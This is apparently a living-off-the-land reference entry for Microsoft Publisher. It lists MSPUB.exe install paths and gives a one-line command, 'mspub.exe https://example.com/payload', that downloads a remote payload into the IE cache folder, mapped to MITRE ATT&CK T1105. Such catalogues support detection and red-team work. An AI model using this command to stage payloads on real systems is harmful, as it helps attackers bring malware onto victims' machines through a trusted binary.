Microsoft Publisher
Paths:
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe
C:\Program Files\Microsoft Office\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe
C:\Program Files\Microsoft Office\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe
C:\Program Files\Microsoft Office\Office14\MSPUB.exe
Download
Downloads payload from remote server
mspub.exe https://example.com/payload
Usecase: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1105